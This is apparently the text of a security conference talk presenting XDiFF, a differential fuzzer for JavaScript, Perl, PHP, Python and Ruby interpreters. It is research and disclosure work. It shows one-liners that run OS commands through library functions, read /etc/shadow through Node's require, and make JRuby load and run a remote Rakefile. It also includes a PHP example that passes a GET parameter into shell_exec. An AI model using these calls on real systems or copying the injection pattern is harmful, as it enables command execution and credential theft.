Exposing Hidden Exploitable Behaviors in Programming Languages Using Differential Fuzzing

Fernando Arnaboldi
Senior Security Consultant
A Talk About (Unexpected?) Features

- Javascript
- Perl
- PHP
- Python
- Ruby
How did I do it?

• I built an extended differential fuzzing framework (XDiFF)
  – Open source fuzzing framework written in Python
  – Multiplatform (Linux, OSX, Windows, Freebsd)
  – Gathers all the information produced
  – Exposes unexpected behaviors

• Get more vulnerabilities from fuzzing & testing sessions
Which Software Was Tested?

<table>
<thead>
<tr>
<th>Category</th>
<th>Interpreters</th>
<th>Functions Tested</th>
</tr>
</thead>
<tbody>
<tr>
<td>JavaScript</td>
<td>v8, ChakraCore, Spidermonkey, NodeJS (v8), Node (ChakraCore)</td>
<td>450</td>
</tr>
<tr>
<td>PHP</td>
<td>PHP, HHVM</td>
<td>1405</td>
</tr>
<tr>
<td>Ruby</td>
<td>Ruby, JRuby</td>
<td>2483</td>
</tr>
<tr>
<td>Perl</td>
<td>Perl, ActivePerl</td>
<td>3105</td>
</tr>
<tr>
<td>Python</td>
<td>CPython, PyPy, Jython</td>
<td>3814</td>
</tr>
</tbody>
</table>
Who Cares About This?

- Testers
- Developers
- Consultants
Agenda

• 1. Fuzzing

• 2. Differential Fuzzing

• 3. Extended Differential Fuzzing
1. Fuzzing
Traditional Fuzzing

- There are two main actors:
  - AFL
  - Peach

- Peach defines fuzzing as:

  "inputting massive amounts of unexpected data into the test target in an attempt to make it crash"
Fuzzing Findings

CRASHES

CRASHES EVERYWHERE
Types of Bugs: Crashes (cont).

Perl

```
$ perl -e "use IO::Socket::SSL::Utils;print CERT_asHash(canaryfile)"
Argument "canaryfile" isn't numeric in subroutine entry at /usr/share/
Segmentation fault
```

Pypy

```
$ pypy -c "import RPython traceback; fatal RPython error: ValueError
Aborted (core dumped)"
```

ChakraCore

```
$ cat chakraCoreCrash.js
new Array(30000) *= new Array(30000)
$ ./ch chakraCoreCrash.js
Segmentation fault: 11
```

Ruby

```
$ ruby -e "require 'socket'; require 'ssl'; print CERT_asHash('canaryfile')"
Argument 'canaryfile' isn't numeric in subroutine entry at /usr/share/
Segmentation fault
```
2. Differential Fuzzing
Differential Fuzzing

• “Execute one or more similar implementations to compare the standard output and the standard error”

• Papers & tools that did this:
  – 1998: Bugs in C compilers
  – 2008: Information leakage over network connections
  – 2014: Bugs in SSL/TLS implementations
  – 2015: Bugs in JavaScript
  – 2017: Bugs in Cryptographic APIs
Differential Fuzzing Findings

• Types of differential fuzzing bugs:
  – Different implementations
  – Different inputs (CLI, File, Standard Input)
  – Different versions of the same product
  – Different operating system versions
Differential Fuzzing Findings (cont).

IT'S LIKE "THE SAME"

BUT "DIFFERENT"....
Different Implementations

<table>
<thead>
<tr>
<th>V8 (CLI)</th>
<th>SpiderMonkey (CLI)</th>
<th>NodeJS v7.2.1 (CLI)</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>$ d8 -e 'print(this)'</code></td>
<td><code>$ js -e 'print(this)'</code></td>
<td><code>$ node -e 'console.log(this)'</code></td>
</tr>
<tr>
<td></td>
<td><code>[object.global]</code></td>
<td>`{</td>
</tr>
</tbody>
</table>
|                               |                                    | [...SNIP...]
|                               |                                    | USER: 'testuser',            |
|                               |                                    | PATH: '/opt/local/bin:....',  |
|                               |                                    | PWD: '/Users/testuser,'      |
|                               |                                    | HOME: '/Users/testuser',     |
|                               |                                    | pid: 60094,                  |
|                               |                                    | [...SNIP...]

Note: The output for NodeJS v7.2.1 (CLI) has been truncated and replaced with '[...SNIP...]' for brevity.
## Different Inputs

<table>
<thead>
<tr>
<th>NodeJS v7.2.1 (File)</th>
<th>NodeJS v7.2.1 (CLI)</th>
</tr>
</thead>
<tbody>
<tr>
<td>$ echo &quot;console.log(this)&quot; &gt; file.js ; node file.js</td>
<td>$ node -e 'console.log(this)'</td>
</tr>
<tr>
<td>{}</td>
<td>{</td>
</tr>
<tr>
<td></td>
<td>[...SNIP...]</td>
</tr>
<tr>
<td></td>
<td>USER: 'testuser',</td>
</tr>
<tr>
<td></td>
<td>PATH: '/opt/local/bin:...',</td>
</tr>
<tr>
<td></td>
<td>PWD: '/Users/testuser,</td>
</tr>
<tr>
<td></td>
<td>HOME: '/Users/testuser',</td>
</tr>
<tr>
<td></td>
<td>pid: 60094,</td>
</tr>
<tr>
<td></td>
<td>[...SNIP...]</td>
</tr>
</tbody>
</table>
## Different Versions

<table>
<thead>
<tr>
<th>NodeJS v0.4.0 (CLI)</th>
<th>NodeJS v7.2.1 (CLI)</th>
</tr>
</thead>
<tbody>
<tr>
<td>$ node -e 'console.log(this)'</td>
<td>$ node -e 'console.log(this)'</td>
</tr>
<tr>
<td>{}</td>
<td>{}</td>
</tr>
<tr>
<td></td>
<td>{...SNIP...}</td>
</tr>
<tr>
<td></td>
<td>USER: 'testuser',</td>
</tr>
<tr>
<td></td>
<td>PATH: '/opt/local/bin:...',</td>
</tr>
<tr>
<td></td>
<td>PWD: '/Users/testuser,'</td>
</tr>
<tr>
<td></td>
<td>HOME: '/Users/testuser',</td>
</tr>
<tr>
<td></td>
<td>pid: 60094,</td>
</tr>
<tr>
<td></td>
<td>{...SNIP...}</td>
</tr>
</tbody>
</table>
Different OS

- In Python 2.7 the built-in functionality `cmp()` compares two objects:

  ```
  cmp(x, y)
  Compare the two objects x and y and return an integer according to the outcome. The return value is negative if x < y, zero if x == y and strictly positive if x > y.
  ```

- The following compares two floating point "not a number" values:

  ```python
  print(cmp(float('nan'), float('nan')))
  ```
Different OS (cont).

<table>
<thead>
<tr>
<th>Software</th>
<th>OS</th>
<th>Stdout</th>
</tr>
</thead>
<tbody>
<tr>
<td>CPython</td>
<td>Linux</td>
<td>-1</td>
</tr>
<tr>
<td>CPython</td>
<td>Freebsd</td>
<td>1</td>
</tr>
<tr>
<td>CPython</td>
<td>OS X</td>
<td>1</td>
</tr>
<tr>
<td>CPython</td>
<td>Windows</td>
<td>1</td>
</tr>
<tr>
<td>PyPy</td>
<td>Linux</td>
<td>0</td>
</tr>
<tr>
<td>PyPy</td>
<td>Freebsd</td>
<td>0</td>
</tr>
<tr>
<td>PyPy</td>
<td>OS X</td>
<td>0</td>
</tr>
<tr>
<td>PyPy</td>
<td>Windows</td>
<td>0</td>
</tr>
<tr>
<td>Jython</td>
<td>Linux</td>
<td>1</td>
</tr>
<tr>
<td>Jython</td>
<td>Freebsd</td>
<td>1</td>
</tr>
<tr>
<td>Jython</td>
<td>OS X</td>
<td>1</td>
</tr>
<tr>
<td>Jython</td>
<td>Windows</td>
<td>1</td>
</tr>
</tbody>
</table>

>>> nan == nan
False

<-- the defined non-reflexive behavior of NaN
3. Extended Differential Fuzzing
Extended Differential Fuzzing Findings

• We want to detect more. We need to detect:
  – Code evaluated
  – OS commands executed
  – Network connections
  – Files read
  – Time required for execution
## Extended Differential Fuzzing Framework

<table>
<thead>
<tr>
<th>Check</th>
<th>XDiFF</th>
<th>Differential</th>
<th>Traditional</th>
</tr>
</thead>
<tbody>
<tr>
<td>Standard Output</td>
<td>✔</td>
<td>✔</td>
<td>✗</td>
</tr>
<tr>
<td>Standard Error</td>
<td>✔</td>
<td>✔</td>
<td>✗</td>
</tr>
<tr>
<td>Information Leakage</td>
<td>✔</td>
<td>✔</td>
<td>✗</td>
</tr>
<tr>
<td>Crash</td>
<td>✓</td>
<td>✗</td>
<td>✔</td>
</tr>
<tr>
<td>Hang</td>
<td>✓</td>
<td>✗</td>
<td>✔</td>
</tr>
<tr>
<td>Network Connections</td>
<td>✔</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>File Access</td>
<td>✔</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>OS Execution</td>
<td>✔</td>
<td>✗</td>
<td>✗</td>
</tr>
</tbody>
</table>
Extended Differential Fuzzing Findings

JESUS SAYS

KEEPING SECRETS IS THE KEY TO HEAVEN!
Extended Differential Fuzzing: Python 1/3

# python -c "import mimetools;print(mimetools.pipeto(None,'id'))"

Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/usr/lib/python2.7/mimetools.py", line 226, in pipeto
    copyliteral(input, pipe)
  File "/usr/lib/python2.7/mimetools.py", line 241, in copyliteral
    line = input.readline()
AttributeError: 'NoneType' object has no attribute 'readline'

uid=0(root) gid=0(root) groups=0(root)
Extended Differential Fuzzing: Python 2/3

```
# python -c "import pydoc;print(pydoc.pipepager(None,'id'))"
```

Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/usr/lib/python2.7/pydoc.py", line 1418, in pipepager
    pipe.write(_encode(text))
TypeError: expected a character buffer object

uid=0(root) gid=0(root) groups=0(root)
# cat <<EOF >sample.py
import pydoc
pydoc.pager('foo')
EOF

# export PAGER="id"

# python sample.py
uid=0(root) gid=0(root) groups=0(root)
Extended Differential Fuzzing: Perl

```
# perl -e "use ExtUtils::Typemaps::Cmd;print embeddable_typemap("system 'id'")"

String found where operator expected at (eval 1) line 1, near "require ExtUtils::Typemaps::system 'id'

(Do you need to predeclare require?)

uid=0(root) gid=0(root) groups=0(root)

Unable to find typemap for 'system 'id'': Tried to load both as file or module and failed.
```
Extended Differential Fuzzing: JavaScript

NodeJS with Chakracore

# node -e "console.log(require('/etc/shadow'))"

SyntaxError: Invalid character

[...SNIP...]

NodeJS v4.2.6 with V8

# node -e "console.log(require('/etc/shadow'))"

/etc/shadow:1

(function (exports, require, module, __filename, __dirname) {
  root: $6$AP53wsfZ$XdxiQRFJF6PzdRd3SxDe1wKsmyEkWgNOSSg.WZR18KfLo617cR1ZswMZEPT5QTS95aH.NI2DrqmQ8rMbm8slq/:
  17172:0:14600:14:::

^ SyntaxError: Unexpected token :
## Extended Differential Fuzzing: JRuby

```
# curl http://10.0.0.1/canaryfile
puts %x(id)
```

<table>
<thead>
<tr>
<th>Ruby v2.3.1</th>
<th>JRuby v1.7.22</th>
</tr>
</thead>
<tbody>
<tr>
<td># ruby -e 'require &quot;rake&quot;;puts Rake.load_rakefile(&quot;<a href="http://10.0.0.1/">http://10.0.0.1/</a> canaryfile&quot;)'</td>
<td># jruby -e 'require &quot;rake&quot;;puts Rake.load_rakefile(&quot;<a href="http://10.0.0.1/">http://10.0.0.1/</a> canaryfile&quot;)'</td>
</tr>
<tr>
<td>/usr/lib/ruby/vendor_ruby/rake/rake_module.rb:28:in `load': cannot load such file --</td>
<td><strong>uid=0(root) gid=0(root) groups=0(root)</strong></td>
</tr>
</tbody>
</table>
Extended Differential Fuzzing: PHP 1/4

<table>
<thead>
<tr>
<th>PHP executing <code>shell_exec('id')</code></th>
<th>PHP executing <code>shell_exec(id)</code></th>
</tr>
</thead>
<tbody>
<tr>
<td># php -r &quot;echo shell_exec('id');&quot;</td>
<td># php -r &quot;echo shell_exec(id);&quot;</td>
</tr>
<tr>
<td>uid=0(root) gid=0(root) groups=0(root)</td>
<td><strong>PHP Notice: Use of undefined constant id - assumed 'id' in Command line code on line 1</strong></td>
</tr>
<tr>
<td></td>
<td>uid=0(root) gid=0(root) groups=0(root)</td>
</tr>
</tbody>
</table>
Extended Differential Fuzzing: PHP 2/4

• Let’s define the a bash constant on `index.php`:

```php
<?php
define("bash","man ");
require_once("functions.php");
?>
```

• The previous file requires `functions.php` and shows a man page:

```php
<?php
$output = shell_exec(bash.$_GET['page']);
print "<pre>".$output."</pre>";
?>
```
Extended Differential Fuzzing: PHP 3/4

- The command “man ” is executed when index.php is called:
Extended Differential Fuzzing: PHP 4/4

- The command “bash” is executed when `functions.php` is called:
Black Hat Sound Bytes

• Hidden functionalities in programming languages can affect the security of applications

• Extended differential fuzzing can expose hidden behaviors.

• Affect multiple targets with one payload.
Any Questions?
Thank You

Get the first public release for Black Hat Europe here:

https://github.com/IOActive/XDiFF